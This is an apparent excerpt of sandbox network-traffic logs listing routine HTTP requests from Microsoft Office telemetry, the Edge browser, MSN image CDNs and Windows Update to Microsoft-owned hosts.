Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /extensionwebstorebase/v1/logextensionreliability?success=true&cv=0Af74ms2V8dhuSnsKqhJyd&errorString=&crxId=jmjflgjpcpepeafmmgdpfkogkghcpiha&os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=edgecrx&prodchannel=&prodversion=117.0.2045.55&lang=en-GB&acceptformat=crx3,puff HTTP/1.1Host: edge.microsoft.comConnection: keep-aliveScenario: UpdateSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=masWAPUYS1lBOtl&MD=sb3UeoWw HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
